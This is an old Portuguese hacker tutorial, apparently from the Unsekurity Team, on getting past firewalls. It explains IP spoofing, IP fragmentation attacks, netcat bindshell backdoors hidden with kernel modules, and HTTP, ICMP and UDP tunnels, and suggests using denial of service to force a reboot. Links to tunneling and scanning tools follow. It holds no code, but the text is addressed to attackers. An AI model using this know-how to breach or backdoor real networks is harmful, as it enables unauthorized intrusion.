A Beleza desta tecnica eh incontestavel, creio que esta eh uma das tecnicas fucadoras mais "conhecida" em todo o mundo, no entanto, nao sao tantas as pessoas que a dominam.As tecnicas que envolvem o conceito de SPOOF(IP Spoof, DNS Spoof e etc) sao caracterizadas basicamente pela adulteracao do IP origem do emissor, ou seja, um atacante envia um pacote para uma rede alvo com IP de uma rede diferente da rede a que ele se encontra.Esta tecnica tem suas diversas utilidades e dentre elas a 'passagem de pacotes' por um Firewall, ou seja, uma Rede A pode enviar pacotes para uma rede B, voce se encontra num host C sem permissao de envio de pacotes para a rede B, logo, atraves das tecnicas de SPOOF, eh possivel voce mandar pacotes como se fosse A para a rede B, vejamos uma ilustracao para isto:
___
No esquema acima, o FIREWALL irah filtrar os pacotes e permitir somente que os pacotes vindos com endereco da 'Rede A' possam chegar ao destino, no caso, a Rede C.
Um atacante poderia entao enviar pacotes com endereco origem forjado, ou seja, adulterados com o endereco da Rede A, fazendo o FIREWALL pensar que o pacote estah vindo de um host com permissao, logo, ele permitiria a chegada desses pacotes na Rede C.Vejamos abaixo uma ilustracao para isto:
___
Note que a Rede A nao estah enviando um pacote e sim a Rede C, mas no entanto o pacote estah indo com endereco origem de A, o FIREWALL poderia entao ser enganado e o pacote malicioso poderia entao chegar na rede Alvo.
Existem varias implementacoes de SPOOF, como eu jah havia dito.Nao vou entrar em detalhes mais tecnicos, mas mandar um pacote forjado via IP SPOOF eh relativamente facil.Varios DoS usam este conceito.Tem gente que nao ve nada de util em DoS, mas existem casos em que ele eh necessario, por exemplo, digamos que voce acesse um servidor Red Hat Apolo antigo, como um usuario normal e neste servidor haja um arquivo em /etc/rc.d com permissao de escrita para todo mundo.Voce mudaria o arquivo para execucao de codigo malicioso, mas como reiniciar a maquina se voce ainda nao eh root? Aih que vem o DoS como uma tecnica boa e eficaz! Outros esquemas podem ser vistos em servidores r*, mas foge ao objetivo deste tutorial descrever isto.
Eh possivel ateh mesmo scanearmos um servidor atras de informacoes uteis usando IP SPOOF.Mais dados sobre SPOOF no item 'TERMINANDO',no final deste arquivo texto.
Elite, nao leia!!!! Nao acrescentarei nenhum i ao que jah foi divulgado Internet a fora!Nao perca seu tempo lendo isto aqui!
Esta eh uma tecnica muito interessante e as implementacoes que sao possiveis usando a mesma podem ser consideradas infindaveis.De todas as tecnicas que vimos ateh agora, para mim esta eh a mais interessante e tambem a que mais estah envolvida em 'escuridao', ou seja, o pessoal que mexe com hacking ou cracking mais avancado nao divulga informacoes sobre a mesma, pois eh enorme o numero de Firewalls vulneraveis a implementacao desta tecnica.O Uso dela eh bastante abrangente, pode-se "passar" literalmente por um firewall tornando o Firewall completamente inutil do ponto do vista do invasor, mas no entanto esta tecnica eh muito usada em programas DoS, principalmente para sistemas Windows.Para que possamos entende-la plenamente eu irei descrever algo sobre o que eh a Fragmentacao de Pacotes no TCP/IP.Abaixo segue a definicao do conceito(extraido do livro 'Arquiteturas de Redes de Computadores - OSI e TCP/IP - Brisa'):
Este eh o basico sobre fragmentacao de pacotes IP.Este livro,"Arquiteturas de Redes de Computadores - OSI e TCP/IP - Brisa" realmente eh um bom livro. Recomendo a aquisicao do mesmo, mas caso nao de, de uma olhada nos RFCs. Abaixo segue um exemplo de um cabecalho IP:
Se quiser mais detalhes sobre isso, de uma olhada no meu Tutorial Basico de Programacao de Sockets em C para Linux que pode ser obtido na pagina do Unsekurity Team, por esses dias mais material sobre TCP/IP deve estar sendo publicado por lah.
O Ataque via Fragmentacao de pacotes acontece justamente com base no modo como os pacotes sao reunidos(reagrupados) no final da fragmentacao.Os Datagramas foram imaginados para serem fragmentados sobre pacotes que deixam a parte do cabecalho do pacote intacta exceto por uma modificacao do pedaco do pacote fragmentado e o enchimento do campo de um offset do cabecalho IP que indica em qual byte do datagrama completo o pacote atual deverah comecar.No reagrupamento, o reagrupamento IP cria um pacote temporario com uma parte fragmentada do datagrama no lugar e adiciona fragmentos que estao a caminho para seus respectivos campos de dados no offset especificado com o datagrama sendo reagrupado.Assim que o datagrama completo eh reagrupado, ele eh processado como se ele tivesse vindo como um pacote unico(singular).De acordo com a especificacao do Protocolo IP, pacotes fragmentados sao para serem reagrupados no host receptor.Isto presumivelmente faz com que eles nao sejam imaginados(ou supostos) para serem reagrupados em 'sitios' intermediarios como firewalls ou roteadores.Esta decisao foi feita provavelmente para prevenir repeticoes de reagrupamentos e refragmentacao em redes intermediarias.Quando Roteadores e Firewalls seguem as regras, eles encontram um problema peculiar.
O Modo que os Firewalls e Roteadores bloqueiam servicos especificos como telnet enquanto permitem outros servicos como HTTP eh encontrado sobre o pacote IP para determinar qual porta TCP estah sendo usada.Se a porta corresponde a 80, o datagrama eh destinado ao servico HTTP e passa pelo Filtro perfeitamente, se a porta corresponde a 23, o datagrama eh destinado ao servico TELNET e o filtro barra a entrada do pacote.Em datagramas normais, isto funciona perfeitamente.Mas suponha que nos nao seguimos as regras para fragmentacao e criamos pacotes fragmentados impropriamente? Abaixo seguem possiveis passos para a implementacao deste esquema:
Interessante, nao??? Acho que se eu fosse administrador de rede e na minha rede tivesse um Firewall e um SO de codigo-fonte fechado, eu temeria muito esta tecnica.A implementacao dela, como podemos ver torna um Firewall completamente "INUTIL".Um administrador deve ter muito juizo ao escolher um Firewall e um SO para a instalacao em sua rede, senao, um invasor com conhecimentos avancados pode literalmente 'brincar' com o sistema dele.
Muitos sao os tipos possiveis de backdoor sobre Firewalls, e como sempre, depende de cada caso, a implementacao eficiente destas tecnicas.Existem esquemas quase que 'padronizados' de configuracao de Firewall, o que eu digo eh o seguinte:
Na grande maioria dos sistemas que usam Firewall, uma simples bindshell pode ser usada para abrir uma porta que nao estah configurada para ser 'filtrada' pelo Firewall,o proprio netcat pode ser usado com um bindshell, logo, uma backdoor bindshell seria um bom exemplo de backdoor sobre firewall. Alem do mais, as tecnicas de camuflagem de bindshell podem ser expansivas com o uso de LKMs ou alteracao de binarios tornando uma backdoor do tipo bindshell de dificil percepcao.
Mas dependendo da rede, um fucador precisa ir mais longe e implementar uma backdoor que canaliza um 'Tunel'.Os tuneis sao conhecidos justamente por essa particularidade que eh, poderem passar por Firewalls.Como vimos acima, existem redes que permitem envio de pacotes por qualquer host localizado na internet a uma porta do sistema, no exemplo(80).Existem diversas implementacoes de Tuneis que canalizam dados atraves da porta 80, seria uma especie de servidor remoto na porta 80.Como o Firewall do alvo nao filtra pacotes na porta 80, ele nao teria como barrar a entrada destes pacotes.Na parte de 'Links e Referencias' voce pode encontrar mais material sobre isto.
Outro tipo de Tunel segue um padrao em cima de um protocolo que um Firewall nao filtra.Por exemplo, o ICMP.Varios sistemas permitem o envio e recebimento de pacotes ICMP sem filtragem de enderecos, logo, um invasor poderia instalar um tunel capaz de enviar comandos atraves de datagramas ICMP a uma backdoor (servidor)em ICMP.Como o Firewall nao filtra pacotes ICMP, ele deixaria os pacotes passarem, deixando o servidor alvo a merce de execucao de comandos maliciosos.
Existem Tuneis em varios protocolos, sendo os mais difundidos, os para ICMP e para UDP.Mais informacoes sobre eles, consulte os links na parte 'Links e Referencias'.
Dependendo de qual Firewall se encontra em um sistema, eh possivel ainda construir uma backdoor em cima do seu binario.O ipfw do Linux eh um exemplo disso, atraves de um LKM voce pode esconder sniffers e bindshell facilmente da 'filtragem' que ele executa, ou seja, eh possivel que ele esteja configurado para 'filtrar' acesso a uma porta X, mas atraves do LKM, voce pode engana-lo, deixando que o sistema receba os pacotes.
Outras implementacoes ainda podem serem feitas em alguns casos, como:
Enfim, esquemas para backdoors em cima de Firewalls tem de sobra, fora as que eu desconheco por completo.Uma vez o sistema na mao de um invasor, fica dificil para um administrador de sistemas nao ter seu sistema alterado de forma eficiente para permitir um acesso futuro deste invasor.
Sem duvida que um Firewall aumenta a seguranca de um sistema.Deve sempre ser usado, mas se voce eh administrador de um sistema eh bom estar atento as diversas formas com que um invasor pode passar por seu Firewall.Para um fucador, essas sao apenas as tecnicas basicas que eu conheco, devem existir muitas outras por aih, pesquise e vah fundo!! Eu sei que a construcao de programas para a execucao desta tecnica nao eh facil, mas parte abaixo 'Links e Referencias' voce acharah muito material sobre o que foi descrito neste txt, mas o importante eh voce procurar entender o conceito e expandir o conceito! Amigo, NewBie, de tempo ao tempo!! Se voce se esforcar, certamente um dia irah conseguir fazer seus proprios programas e nao irah depender de terceiros!! Eu acredito em voce!!
Aqui seguem Links onde voce poderah achar mais material sobre os itens abordados no decorrer deste txt.
http://packetstorm.securify.com/docs/hack/ftpbounce.txt http://packetstorm.securify.com/UNIX/utilities/ftpbounce-1.25.tar.gz http://www.insecure.org/nmap/
IP-Spoofing Demystified by Daemon9
URL: http://www.2600.com/phrack/p48-14.html
http://packetstorm.securify.com/spoof/ip-spoof-guides/ http://packetstorm.securify.com/spoof/
http://packetstorm.securify.com/UNIX/scanners/hping2-beta54.tar.gz
OBS: No momento a pagina da phrack estah derrubada, recomendo ir na 2600.
http://teso.scene.at/releases/lamescan-1.0.tar.gz -> scan em frag.http://packetstorm.securify.com/docs/hack/frag.txt -> txt do hobbit.http://packetstorm.securify.com/UNIX/scanners/hping2-beta54.tar.gz http://www.enteract.com/~lspitz/fwtable.html -> Fragmentacao em FW1.
Placing Backdoors Through Firewalls by van Hauser http://www.infowar.co.uk/thc/files/thc/fw-backd.htm
http://teso.scene.at/releases/itunnel-1_2.tar.gz -> ICMP tunel.http://packetstorm.securify.com/UNIX/misc/udpshell_v1-0.tgz http://packetstorm.securify.com/UNIX/misc/httptunnel-3.0.3.tar.gz http://www.infowar.co.uk/thc/files/thc/rwwwshell-1.6.perlhttp://packetstorm.securify.com/UNIX/misc/mailtunnel-0.2.tar.gz
Project Loki: ICMP Tunneling by daemon9 URL: http://www.2600.com/phrack/p49-06.html
LOKI2 (the implementation) by route
URL: http://www.2600.com/phrack/p51-06.html
TXT do module sobre ICMP Tunel
URL: http://unsekurity.virtualave.net/txts/icmp_tunneling.txt
Piercing Firewalls by bishnu
URL: http://www.2600.com/phrack/p52-16.html
http://sites.inka.de/lina/freefire-l/tools.html
http://unsekurity.virtualave.net/
http://www.bufferoverflow.org/
http://www.securenet.com.br/
http://www.taldowin.com.br/
http://www.absoluta.org/
Alem dos textos do hobbit sobre FTP Bounce, do van Hauser sobre backdoors sobre Firewall, dos Tuneis do pessoal descrito acima, tem o livro abaixo:
Arquiteturas de Redes de Computadores - OSI e TCP/IP. 2a. edicao Revisada e Ampliada.
Brisa.
Makron Books.
Aih estah mais um txt basico.. Tem gente lendo meus txts e achando que
eles sao grande coisa... Nao sao nao manos!! Tem muito o que ser dito e o
que se aprender ainda.. Sejamos humildes ao maximo!! Devemos ter em mente
que 'quanto mais aprendemos mais sabemos que temos mais a aprender'.E
somente um esforco conjunto na troca de informacoes pode elevar isto a
uma esfera maior e mais rapida.Convoco desde jah os hackers e fucadores
de verdade a se engajarem nesta luta em prol de uma liberdade maior de
informacoes!! A uniao faz a forca!
Gostaria de agradecer a todo Unsekurity Team e ao pessoal que vem apoiando
e criticando o nosso 'trabalho'.Estamos apenas engatinhando num projeto
bem mais amplo e, creio eu, temos sido bem sucedidos ateh entao.Ha muito
trabalho pela frente, mas ateh aqui, a uniao do grupo Unsekurity Team eh
a principal responsavel pelo sucesso de abrangencia que nossos txts
alcancaram, sem essa uniao, acho que jamais eu teria sequer publicado uma
linha qualquer de txt, mesmo brigando por uma concientizacao maior sobre
o hacking.